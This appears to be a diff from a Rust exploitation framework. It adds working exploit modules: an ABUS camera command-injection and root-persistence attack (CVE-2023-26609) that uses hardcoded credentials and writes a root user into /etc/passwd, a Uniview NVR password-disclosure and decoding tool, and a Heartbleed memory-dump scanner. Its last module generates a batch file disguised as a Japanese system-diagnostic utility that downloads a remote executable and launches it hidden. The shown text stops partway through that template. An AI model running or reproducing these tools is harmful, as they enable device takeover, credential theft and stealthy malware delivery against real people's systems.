// If path is empty, we skip it. Or default to / if you want.
|
||||
let path_str = if path.is_empty() {
|
||||
"" // or "/"
|
||||
} else {
|
||||
path
|
||||
};
|
||||
|
||||
// Build Basic Auth
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
// Build the RTSP request line
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
addr = addr,
|
||||
path = path_str.trim_start_matches('/'), // avoid double slash
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
// Append extra headers if advanced mode is on
|
||||
for header in extra_headers {
|
||||
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
// End with a blank line
|
||||
request.push_str("\r\n");
|
||||
|
||||
// Send request
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
|
||||
// Read response
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Server closed connection unexpectedly."));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
// Very naive checks
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("Unexpected RTSP response:\n{}", response))
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a required field (no default allowed).
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a value with a default fallback.
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
/// Prompts the user for a yes/no question, with a default answer.
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Loads a file, returning non-empty lines in a Vec.
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// Prints log messages only in verbose mode.
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns a PathBuf in the current directory for the given filename.
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// // Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
// // ABUS Security Camera LFI
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
target, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Body:\n{}", body);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
// // ABUS Security Camera RCE
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
target, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Body:\n{}", body);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
// // /etc/dropbear/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Stage 2: Add root user with known password hash
|
||||
async fn inject_root_user(client: &Client, target: &str) -> Result<()> {
|
||||
// // echo d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh >> /etc/passwd
|
||||
let cmd = "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd";
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
// // /etc/dropbear/dropbear -E -F
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! Try logging in:");
|
||||
println!(" sshpass -p <PASSWORD> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@{}", target);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Prompt user for LFI, RCE, or SSH and execute accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!("[1] LFI");
|
||||
println!("[2] RCE");
|
||||
println!("[3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
let mut filepath = String::new();
|
||||
io::stdin().read_line(&mut filepath)?;
|
||||
exploit_lfi(&client, target, filepath.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
let mut command = String::new();
|
||||
io::stdin().read_line(&mut command)?;
|
||||
exploit_rce(&client, target, command.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
persist_root_shell(&client, target).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for the exploit module used by the dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
use anyhow::{Result};
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
|
||||
/// // Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
target, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Response:\n{}", body);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Inject a root user with a hashed password into /etc/passwd
|
||||
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
|
||||
let payload = format!(
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// // Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Generate simple MD5(password) as hash for dropbear user
|
||||
fn generate_md5_hash(password: &str) -> String {
|
||||
let digest = md5::compute(password.as_bytes());
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// // Interactive shell logic
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated hash: {}", hash);
|
||||
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Dispatcher entrypoint
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
pub mod abussecurity_camera_cve202326609variant1;
|
||||
pub mod abussecurity_camera_cve202326609variant2;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// pub mod
|
||||
@@ -0,0 +1,147 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
|
||||
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
|
||||
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
|
||||
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
|
||||
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
|
||||
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
|
||||
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
|
||||
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
|
||||
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
|
||||
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
|
||||
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
|
||||
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
|
||||
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
|
||||
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
|
||||
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
|
||||
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
encoded
|
||||
.split(';')
|
||||
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
|
||||
// Ensure the target has a proper scheme
|
||||
let target = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[+] Getting model name and software version...");
|
||||
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_resp = client.get(&version_url).send().await?;
|
||||
let version_text = version_resp.text().await?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open success.txt log file")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
println!("\n[+] Getting configuration file...");
|
||||
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
|
||||
let config_resp = client.get(&config_url).send().await?;
|
||||
let config_text = config_resp.text().await?;
|
||||
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
|
||||
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
|
||||
println!("_____________________________________________________________________________");
|
||||
|
||||
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
|
||||
writeln!(log, "_____________________________________________________________________________").ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event() {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut userpass = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => {
|
||||
username = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"UserPass") => {
|
||||
userpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"RvsblePass") => {
|
||||
revpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
|
||||
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\n[+] Number of users found: {}", total_users);
|
||||
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
|
||||
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
|
||||
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Entry point for dispatcher – uses default port 443
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_with_port(target, 443).await
|
||||
}
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
println!("[*] Connecting to {}:{}...", target, port);
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
|
||||
let path = Path::new(&filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds a TLS ClientHello message
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302; // TLS 1.1
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0); // Session ID length
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1); // Compression methods length
|
||||
hello.push(0); // No compression
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01); // Extension data
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
/// Builds a malicious Heartbeat request
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
/// Wraps payload in a TLS record
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
/// Converts binary leak to printable ASCII
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod heartbleed;
|
||||
@@ -1 +1,8 @@
|
||||
pub mod generic;
|
||||
pub mod sample_exploit;
|
||||
pub mod payloadgens;
|
||||
pub mod camera;
|
||||
pub mod router;
|
||||
pub mod ssh;
|
||||
pub mod spotube;
|
||||
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod payloadgenbat;
|
||||
@@ -0,0 +1,133 @@
|
||||
//! Build a two‑stage prank/diagnostic BAT script with stealth download & run.
|
||||
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Read a trimmed line from stdin
|
||||
fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{msg}");
|
||||
io::stdout().flush().ok();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_owned())
|
||||
}
|
||||
|
||||
/// Build the BAT contents (injecting URL & PS1 filename)
|
||||
fn build_script(url: &str, ps1_name: &str) -> String {
|
||||
// Template with placeholders {{URL}} and {{OUTFILE}}
|
||||
let tpl = r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
title [管理者診断ユーティリティ]
|
||||
color 0A
|
||||
|
||||
echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] 初期化中...
|
||||
timeout /t 2 >nul
|
||||
|
||||
:: Fake diagnostic functions
|
||||
echo [INFO] ネットワークスタック確認中...
|
||||
netsh winsock show catalog >nul
|
||||
echo [INFO] システムリソースの照会...
|
||||
fsutil behavior query DisableDeleteNotify >nul
|
||||
echo [INFO] DCOM設定の確認...
|
||||
dcomcnfg /32 >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] ユーザーアクティビティを確認中...
|
||||
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] 不審な接続をスキャン中...
|
||||
netstat -bno >nul
|
||||
route print >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] システムサービス確認中...
|
||||
sc queryex type= service >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] WMI チェック中...
|
||||
wmic logicaldisk get caption,filesystem,freespace,size >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
:: 50x random sub-sleeps
|
||||
echo [*] 詳細検証を実行中... (50 ステップ)
|
||||
for /l %%i in (1,1,50) do (
|
||||
set /a delay=(%%RANDOM%% %% 60) + 120
|
||||
powershell -Command "Start-Sleep -Milliseconds !delay!"
|
||||
)
|
||||
|
||||
:: Random delay before launching stage 2
|
||||
set /a mainDelay=(%%RANDOM%% %% 4) + 3
|
||||
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
|
||||
timeout /t %%mainDelay%% >nul
|
||||
|
||||
:: Build second stage BAT (stage2.bat)
|
||||
set "stage2=%%~dp0stage2.bat"
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal enabledelayedexpansion
|
||||
echo title 補助診断モジュール
|
||||
echo echo [*] ネットワークテストを再実行中...
|
||||
echo ping -n 2 1.1.1.1 ^>nul
|
||||
echo tracert -h 2 8.8.8.8
|
||||
echo ipconfig /flushdns
|
||||
echo timeout /t 2 ^>nul
|
||||
echo echo [*] ランダム遅延を実行中...
|
||||
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
|
||||
echo timeout /t !delay2! ^>nul
|
||||
echo echo [*] GitHub からモジュールを取得中...
|
||||
echo set "url={{URL}}"
|
||||
echo set "outfile=%%~dp0{{OUTFILE}}"
|
||||
echo powershell -Command ^
|
||||
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
|
||||
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
|
||||
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
|
||||
echo timeout /t 2 ^>nul
|
||||
echo echo [*] ステルス起動用VBSを生成中...
|
||||
echo ^(
|
||||
echo Set shell = CreateObject("WScript.Shell"^)
|
||||
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
|
||||
echo ^) ^> "%%~dp0launch_hidden.vbs"
|
||||
echo timeout /t 1 ^>nul
|
